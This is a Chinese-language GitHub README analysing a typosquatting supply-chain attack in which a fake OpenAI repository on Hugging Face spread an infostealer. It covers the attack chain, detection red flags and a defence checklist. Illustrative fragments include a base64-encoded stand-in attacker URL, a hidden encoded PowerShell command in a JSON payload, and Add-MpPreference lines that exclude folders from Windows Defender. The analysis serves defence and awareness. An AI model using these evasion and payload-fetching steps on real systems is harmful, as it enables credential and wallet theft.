krish-foren6/huggingface-ai-supply-chain-attack-analysis

GitHub: krish-foren6/huggingface-ai-supply-chain-attack-analysis

针对Hugging Face平台上一场利用Typosquatting冒充OpenAI仓库分发窃密木马的AI供应链攻击,提供完整的攻击链还原、检测方法与防御清单。

Stars: 0 | Forks: 0

# 🎯 Hugging Face AI 供应链攻击 — 安全分析 ![Type](https://img.shields.io/badge/Attack%20Type-AI%20Supply%20Chain-orange?style=flat-square) ![Platform](https://img.shields.io/badge/Platform-Hugging%20Face-yellow?style=flat-square) ![OS](https://img.shields.io/badge/OS-Windows-blue?style=flat-square) ![Severity](https://img.shields.io/badge/Severity-CRITICAL-red?style=flat-square) ![Purpose](https://img.shields.io/badge/Purpose-Educational%20Only-green?style=flat-square) ![Author](https://img.shields.io/badge/Author-Krish%20Gupta-purple?style=flat-square) ## 📥 下载完整报告 [![下载完整报告](https://img.shields.io/badge/Download-Full%20Report%20.pdf-red?style=for-the-badge&logo=adobeacrobatreader)](./AI-Supply-Chain-Attack-Report.pdf) ## ⚠️ 免责声明 本仓库严格**仅用于教育和安全意识提升目的**。 所有信息均来源于公开可用的安全研究(HiddenLayer、BleepingComputer、The Hacker News、CSO Online)。 请勿将此处的任何信息用于您不拥有或未获得明确书面授权进行测试的系统。 ## 目录 - [发生了什么?](#what-happened) - [为什么它如此危险](#why-it-was-so-dangerous) - [攻击链](#the-attack-chain) - [使用的关键技术](#key-techniques-used) - [检测与危险信号](#detection--red-flags) - [防御清单](#defense-checklist) - [术语表](#glossary) - [快速参考](#quick-reference) - [来源](#sources) - [联系](#connect) ## 发生了什么? 攻击者在 **Hugging Face** —— 最受欢迎的 AI 模型共享平台 —— 上创建了一个虚假仓库,并使其看起来与官方的 **OpenAI** 发布版本完全一致。 ``` Real repo: openai/privacy-filter Fake repo: Open-OSS/privacy-filter ← one small difference ``` 这种技术被称为 **Typosquatting(域名抢注/拼写欺骗)** —— 通过对受信任名称的轻微误拼来欺骗用户。 这个虚假仓库取得了: - 不到 18 小时内 **约 244,000 次下载** - **667 个点赞** - Hugging Face **热门排行榜第一名** 所有这些都是人为夸大的,旨在利用简单的人为偏见: 它并不安全。每个运行 `loader.py` 的人都有可能面临凭证被盗的风险。 ## 为什么它如此危险 | 因素 | 重要原因 | |---|---| | 受信任的平台 | Hugging Face 每天有数百万开发者在使用 —— 不易引起怀疑 | | AI 热潮 | 开发者急于尝试新的 AI 工具 —— 警惕性降低 | | 开源错觉 | “公开代码 = 经过审查的代码” —— 错误的假设,在此被利用 | | 多阶段攻击链 | 单独查看每个文件似乎都是无害的,无法看清全貌 | | 无需漏洞利用 | 用户是自愿运行恶意软件的 | | 规模庞大 | 24.4 万次下载 —— 即使只有 1% 的人中招,也意味着成千上万的受害者 | ## 攻击链 ``` Victim finds trending fake repo on Hugging Face ↓ Runs loader.py (looks like a normal AI setup script) ↓ Python disables SSL verification — connects to attacker server ↓ Base64-encoded URL decoded — remote JSON payload fetched ↓ JSON contains hidden PowerShell command ↓ PowerShell runs silently (-WindowStyle Hidden) ↓ start.bat downloaded — privilege escalation begins ↓ UAC prompt appears — user clicks Yes (thinks it's the AI tool) ↓ Windows Defender exclusions added — antivirus blinded ↓ Rust-based infostealer installed in excluded folder ↓ Passwords / cookies / tokens / crypto wallets stolen ↓ Data exfiltrated to attacker's C2 server / Telegram bot ``` ## 使用的关键技术 ### 1. Typosquatting(拼写欺骗) 创建 `Open-OSS/privacy-filter` 来冒充 `openai/privacy-filter`。 仅有一个字符的差异 —— 大多数人完全察觉不到。 ### 2. 社会认同操纵 人为夸大下载量和点赞数,利用人们倾向于信任热门事物的心理。 ``` 244,000 downloads + 667 likes + #1 trending = "must be legit" ``` ### 3. loader.py 中禁用 SSL ``` requests.get(url, verify=False) # SSL verification disabled ``` 允许 Python 在不进行证书验证的情况下连接到任何攻击者服务器。 ### 4. Base64 混淆 正常的 URL: ``` https://attacker-server.com/payload ``` 经过 Base64 编码后: ``` aHR0cHM6Ly9hdHRhY2tlci1zZXJ2ZXIuY29t ``` 对人类和简单的静态扫描器隐藏了恶意的 URL。 ### 5. 远程 JSON 负载投递 ``` { "cmd": "powershell -WindowStyle Hidden -EncodedCommand BASE64_HERE" } ``` 真正危险的负载从未出现在仓库中 —— 它是在运行时获取的。 这意味着该仓库可以通过静态分析,并且可以在不更新的情况下随时被更改。 ### 6. PowerShell — 隐藏执行(LOLBins) ``` powershell.exe -WindowStyle Hidden -EncodedCommand ``` PowerShell 是一个受信任的内置 Windows 工具。运行它很正常。 **LOLBins(Living Off The Land Binaries,就地取材二进制文件)** = 将合法工具用于恶意目的。 ### 7. Windows Defender 排除项 ``` Add-MpPreference -ExclusionPath "C:\Users\User\AppData\Roaming\Updater\" ``` 这不是黑客攻击。不是漏洞利用。这是一个合法的 Windows 功能 —— 被滥用了。 恶意软件将自身安装在排除的文件夹中。Defender 从此不再对其进行扫描。 ### 8. 窃密木马窃取了什么 | 数据 | 存储方式 | 影响 | |---|---|---| | 浏览器密码 | SQLite (Login Data) | 直接访问账户 | | 会话 Cookie | 浏览器数据库 | 无需密码即可登录 —— 绕过 MFA | | Discord token | 本地应用存储 | 瞬间接管账户 | | 加密货币钱包 | 钱包文件 + 助记词 | 资金被转移 | | 自动填充数据 | 浏览器配置文件 | 身份信息、银行卡数据 | | 敏感文件 | 文件系统扫描 | 私钥、凭证 | ## 检测与危险信号 ### 代码层面的危险信号 ``` # 🚩 SSL 已禁用 requests.get(url, verify=False) # 🚩 解码并执行 Base64 编码字符串 import base64 decoded = base64.b64decode("...") # 🚩 从 Python 启动 PowerShell subprocess.run(["powershell.exe", "-WindowStyle", "Hidden", ...]) os.system("powershell ...") # 🚩 运行时获取远程 payload requests.get("https://unknown-domain.com/payload.json") ``` ### PowerShell 危险信号 ``` # 🚩 隐藏执行 powershell.exe -WindowStyle Hidden # 🚩 添加 Defender 排除项 Add-MpPreference -ExclusionPath "C:\SomeFolder" Add-MpPreference -ExclusionProcess "someprocess.exe" # 🚩 编码命令(隐藏真实指令) powershell.exe -EncodedCommand BASE64STRING ``` ### 仓库层面的危险信号 | 信号 | 为何可疑 | |---|---| | 账户名与受信任的组织非常相似 | Typosquatting 尝试 | | 最近创建的账户却包含大量模型 | 匆忙发布的恶意内容 | | 一夜之间出现 20 万+ 下载量 | 人为夸大 | | README 指示运行 `python loader.py` 或 `start.bat` | 立即执行代码 | | 照抄真实仓库的描述 | 冒充 | ## 检测方法 | 方法 | 操作方式 | |---|---| | 静态代码审查 | 查找 Base64、`verify=False`、subprocess PowerShell 调用 | | PowerShell 日志记录 | 在 Windows 上启用 Script Block Logging | | 网络监控 | 对运行 AI 工具后出现的异常出站连接发出告警 | | 进程监控 | 标记带有 `-WindowStyle Hidden` 的 `powershell.exe` | | Defender 事件日志 | 对来自意外进程的 `Add-MpPreference` 发出告警 | | 沙箱引爆 | 首先在隔离的虚拟机中运行可疑仓库 | | EDR 工具 | 行为检测可捕获多阶段攻击链 | ## 防御清单 **在运行任何仓库之前:** - [ ] 逐字检查所有者名称 —— 哪怕一个字母的拼写错误也可能是陷阱 - [ ] 在官方组织网站上验证该账户 - [ ] 检查账户创建日期 —— 全新的账户十分可疑 - [ ] 在运行代码前先阅读它 —— 即使是 5 分钟的快速浏览也有帮助 - [ ] 独立使用搜索引擎查询该工具 —— 它是否出现在官方渠道中? **技术保障措施:** - [ ] 始终首先在虚拟机或沙箱中运行未知代码 - [ ] 启用 PowerShell Script Block Logging - [ ] 使用 EDR 工具,而不仅仅是防病毒软件 - [ ] 启用 Windows Defender 防篡改保护 - [ ] 监控开发机的出站网络流量 - [ ] 切勿使用管理员/UAC 权限运行未知安装程序 ## 如果您运行了该仓库 将此机器视为**已被完全攻破**。不要试图清理它 —— 重新安装系统。 1. 立即断开互联网连接 2. 从干净的设备上更改所有密码 3. 撤销所有 API 密钥和 token 4. 将加密货币转移到使用新助记词的新钱包中 5. 使所有活动的浏览器会话失效 6. 在每个账户上启用 MFA 7. 擦除并重新安装操作系统 8. 向您组织的安全团队报告 ## 术语表 | 术语 | 简明释义 | |---|---| | Supply Chain Attack(供应链攻击) | 攻击开发者信任的工具,而不是直接攻击开发者 | | Typosquatting(拼写欺骗) | 与受信任名称几乎相同的虚假名称 —— 仅有一字符之差 | | LOLBins(就地取材二进制) | 恶意使用合法的 Windows 工具 | | Infostealer(窃密木马) | 专门为窃取凭证和 token 而构建的恶意软件 | | Session Cookie(会话 Cookie) | 证明您已登录的 token —— 窃取它 = 即刻获得访问权限 | | C2 Server(C2 服务器) | 命令与控制 —— 攻击者接收被盗数据的远程总部 | | DPAPI | Windows 为当前用户自动解密数据 —— 恶意软件利用了这一点 | | Base64 | 一种文本编码方式,可从日常检查中隐藏命令 | | Privilege Escalation(权限提升) | 在未授权的情况下从普通用户变为管理员 | | Defender Exclusions(Defender 排除项) | 告诉防病毒软件忽略特定文件夹 —— 在此被滥用 | | Sandbox(沙箱) | 用于安全运行可疑代码的隔离环境 | | EDR | 监控行为而不仅仅是签名的高级安全工具 | ## 快速参考 ### 一句话概括攻击 ### 真实世界类比映射 | 技术层面 | 真实世界 | |---|---| | 虚假的 Hugging Face 仓库 | 使用真实品牌包装的假药 | | 运行 loader.py | 不看成分表直接吞药 | | 远程 JSON 负载 | 药片“打电话回家”获取进一步指令 | | UAC 点击“是” | 把你家钥匙交给屋里的陌生人 | | Defender 排除项 | 告诉你的安防摄像头忽略某个房间 | | 会话 Cookie 被盗 | 有人复制了您的酒店房卡 | ## 来源 - [HiddenLayer — 热门 Hugging Face 仓库中发现恶意软件](https://www.hiddenlayer.com/research/malware-found-in-trending-hugging-face-repository-open-oss-privacy-filter) - [BleepingComputer — Hugging Face 上的虚假 OpenAI 仓库传播窃密木马](https://www.bleepingcomputer.com/news/security/fake-openai-repository-on-hugging-face-pushes-infostealer-malware/) - [The Hacker News — 虚假 OpenAI 隐私过滤器仓库登顶 Hugging Face 热门榜](https://thehackernews.com/2026/05/fake-openai-privacy-filter-repo-hits-1.html) - [CSO Online — 伪装成 OpenAI 发布的恶意 Hugging Face 模型下载量达 24.4 万次](https://www.csoonline.com/article/4169407/malicious-hugging-face-model-masquerading-as-openai-release-hits-244k-downloads.html) - [Cyber Security News — 拥有 20 万次下载的热门 Hugging Face 仓库传播恶意软件](https://cyberpress.org/hugging-face-repo-spreads-malware/) - [arXiv — 模型即代码:衡量预训练模型中心上的恶意代码投毒攻击](https://arxiv.org/abs/2409.09368) ## 联系 **作者:** Krish Gupta **角色:** 网络安全研究员 | 渗透测试工程师 | 进攻安全爱好者 如果您觉得这些内容有用,有任何问题、不同的观点,或者只是想聊聊安全 —— 欢迎联系。 [![LinkedIn](https://img.shields.io/badge/LinkedIn-Krish%20Gupta-blue?style=for-the-badge&logo=linkedin)](https://www.linkedin.com/in/krish-gupta-bb73a72a0/) [![GitHub](https://img.shields.io/badge/GitHub-krish--foren6-black?style=for-the-badge&logo=github)](https://github.com/krish-foren6) *本仓库仅为教育和安全意识提升目的而创建。* *所有分析均基于公开可用的安全研究。*
标签:AI合规, AI安全, Chat Copilot, DAST, DNS 解析, Homebrew安装, Hugging Face, IPv6, JSON, Linux系统监控, OpenCanary, PowerShell, Typosquatting, 供应链攻击, 信息窃取, 可视化界面, 恶意软件分析, 拼写欺诈, 攻击链分析, 模型安全, 网络信息收集, 网络威胁情报, 网络安全, 远程载荷, 逆向工具, 防御策略, 隐私保护